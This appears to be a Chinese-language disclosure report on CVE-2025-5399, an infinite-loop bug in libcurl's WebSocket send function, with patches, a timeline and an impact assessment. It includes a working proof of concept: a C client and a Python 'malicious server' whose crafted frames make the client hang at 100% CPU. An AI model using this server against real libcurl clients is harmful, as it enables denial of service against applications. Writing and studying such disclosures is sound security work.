CVE-2025-5399:WebSocket无限循环漏洞深度解析

本文详细分析了libcurl中curl_ws_send()函数存在的无限循环漏洞CVE-2025-5399,包括漏洞触发条件、PoC代码、修复方案及影响评估,涉及WebSocket协议实现细节。

CVE-2025-5399: WebSocket无限循环

漏洞概述

在libcurl的commit 12d13b84fa40aa657b83d5458944dbd9b978fb7e中,curl_ws_send()函数存在一个无限循环漏洞,特定条件下恶意服务器可触发此漏洞。

当应用程序使用curl_ws_recv()curl_ws_send()与WebSocket服务器通信时,恶意服务器可在客户端通过CURLWS_OFFSET构建帧期间发送精心计时的PING消息,导致后续curl_ws_send()调用无法终止数据刷新循环。

受影响代码

漏洞位于文件lib/ws.ccurl_ws_send()函数第1376-1419行:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
while(!Curl_bufq_is_empty(&ws->sendbuf) || (buflen > ws->sendbuf_payload)) {
    // ...
    
    result = ws_flush(data, ws, Curl_is_in_callback(data));
    if(!result) {
      *sent += ws->sendbuf_payload;
      buffer += ws->sendbuf_payload;
      buflen -= ws->sendbuf_payload;
      ws->sendbuf_payload = 0;
    }
    
    // ...
}

buflen来自应用程序,表示要发送的数据长度。如果循环开始时ws->sendbuf_payload == 0,则buflen > ws->sendbuf_payload始终为真。成功执行ws_flush()后,sentbufferbuflen保持不变,导致循环无限运行。

概念验证(PoC)

客户端代码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#include <stdio.h>
#include <unistd.h>
#include <assert.h>
#include <curl/curl.h>

int main (int argc, char** argv) {
    char buffer[512];
    size_t sent;
    size_t n;
    const struct curl_ws_frame* meta;
    CURLcode res;

    CURL* curl = curl_easy_init();
    curl_easy_setopt(curl, CURLOPT_URL, "ws://127.0.0.1:1337/");
    curl_easy_setopt(curl, CURLOPT_CONNECT_ONLY, 2L);
    curl_easy_perform(curl);

    curl_ws_recv(curl, buffer, sizeof(buffer), &n, &meta);
    curl_ws_send(curl, "1234", 4, &sent, 0, CURLWS_TEXT | CURLWS_CONT);

    curl_ws_recv(curl, buffer, sizeof(buffer), &n, &meta);
    curl_ws_send(curl, "X", 1, &sent, 70, CURLWS_OFFSET);

    curl_ws_recv(curl, buffer, sizeof(buffer), &n, &meta);
    curl_ws_send(curl, buffer, 53, &sent, 0, CURLWS_OFFSET);

    // 下一个curl_ws_recv()将接收16字节PING消息并自动响应PONG

    res = curl_ws_recv(curl, buffer, sizeof(buffer), &n, &meta);
    assert(res == CURLE_AGAIN);

    // 重启I/O。下一次curl_ws_send()调用将永不返回

    curl_ws_recv(curl, buffer, sizeof(buffer), &n, &meta);
    curl_ws_send(curl, buffer, 16, &sent, 0, CURLWS_OFFSET);

    // 永远不会到达:
    assert(0);
}

恶意服务器代码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
#!/usr/bin/env python3

import time
import base64
import hashlib
from pwn import *

packets = [
 b'\x01~\x00\x0cHello World!',
 b'\x89F\x9a',
 b"\xb1\x8b\xe3\x8f\xa6\xe29\xe4\xa6(\x04P\x06'\xccwa\xd1\x83+\xbc\xf1\xd1\x9f\x93\xdc\xf4(Y",
 b'\x81\x10\xb8\xd7b\xbc\xcfcM\x992\x1fU\xc1\x8f\xc7\x07\xc92S\x06\xdc\xd9\xc7',
 b'\x01~\x00\x0cHello World!',
 b'\x88g\xe5\xef\x88\x00\xeb7\xc2D\xa6\x812\xb3\x98\x9b/\xa6',
 b'4U3T\xba\xb9\xd3\x81\xeb\x17\xd19(\x92g\x8d\x85)\x8f\xec\xf3\x14@',
 b'\x8b\xc2\xf5\xf3\x10\xf4\x19\xe8\x0f\x08\x98\x9d'
]

def sha1(data):
    h = hashlib.new("sha1")
    h.update(data)
    return h.digest()

with listen(1337) as conn:
    conn.wait_for_connection()
    key = None

    while True:
        line = conn.recvline()

        if line.startswith(b"Sec-WebSocket-Key: "):
            _, enc = line.split(b" ")
            key = enc.strip()
        elif line == b"\r\n":
            break

    key += b"258EAFA5-E914-47DA-95CA-C5AB0DC85B11"

    conn.sendline(b"HTTP/1.1 101 Switching Protocols\r")
    conn.sendline(b"Upgrade: websocket\r")
    conn.sendline(b"Sec-WebSocket-Accept: " + base64.b64encode(sha1(key)) + b"\r")
    conn.sendline(b"Sec-WebSocket-Version: 13\r")
    conn.sendline(b"\r")

    for packet in packets:
        conn.send(packet)

执行步骤

  1. 后台启动服务器:
1
$ python3 server.py &
  1. 运行客户端:
1
$ ./client

此时可观察到./client占用100% CPU且永不终止。

漏洞解释

虽然对WebSocket代码的理解尚未达到100%,但大致情况如下:

客户端尝试通过3次curl_ws_send()调用构建70字节帧 前两次调用提供1 + 53 = 54字节 随后到达包含16字节内容的PING消息 当从应用程序提供最后16字节时,发生循环

如果通过以下方式禁用自动PONG功能:

1
curl_easy_setopt(curl, CURLOPT_WS_OPTIONS, (long) CURLWS_NOAUTOPONG);

则无限循环不再发生。根本原因似乎在于PING消息的处理。

影响评估

由于此漏洞:

  • 可由远程服务器触发
  • 导致程序停止执行并在无限时间内消耗100% CPU
  • 仅在客户端以特定方式行为时发生

建议严重性评级为"低"。

修复方案

以下补丁可修复该漏洞:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
diff --git a/lib/ws.c b/lib/ws.c
index 93ec3a785..875d0b5c2 100644
--- a/lib/ws.c
+++ b/lib/ws.c
@@ -1381,7 +1381,7 @@ CURL_EXTERN CURLcode curl_ws_send(CURL *d, const void *buffer_arg,
                                buffer + ws->sendbuf_payload,
                                buflen - ws->sendbuf_payload,
                                &ws->sendbuf, &result);
-      if(n < 0 && (result != CURLE_AGAIN))
+      if(n <= 0 && (result != CURLE_AGAIN))
         goto out;
       ws->sendbuf_payload += Curl_bufq_len(&ws->sendbuf) - prev_len;
     }

或者更优的方案:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
diff --git a/lib/ws.c b/lib/ws.c
index 93ec3a785..f46c1518d 100644
--- a/lib/ws.c
+++ b/lib/ws.c
@@ -1384,6 +1384,8 @@ CURL_EXTERN CURLcode curl_ws_send(CURL *d, const void *buffer_arg,
       if(n < 0 && (result != CURLE_AGAIN))
         goto out;
       ws->sendbuf_payload += Curl_bufq_len(&ws->sendbuf) - prev_len;
+      if (!ws->sendbuf_payload)
+        goto out;
     }
 
     /* flush, blocking when in callback */

时间线

  • 2025年5月30日 03:38 UTC:z2_提交报告
  • 2025年5月31日 12:26 UTC:提交修复PR
  • 2025年5月31日 15:03 UTC:分配CVE-2025-5399
  • 2025年6月4日 05:54 UTC:问题修复并发布

根本原因

通过二分法追踪,此漏洞由commit 3588df9478d7c27046b34cdb510728a26bedabc7引入,随curl 8.13.0版本发布。

状态

  • 状态:已解决
  • 严重性:低(0.1 ~ 3.9)
  • 弱点:具有不可达退出条件的循环(无限循环)
  • CVE ID:CVE-2025-5399
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计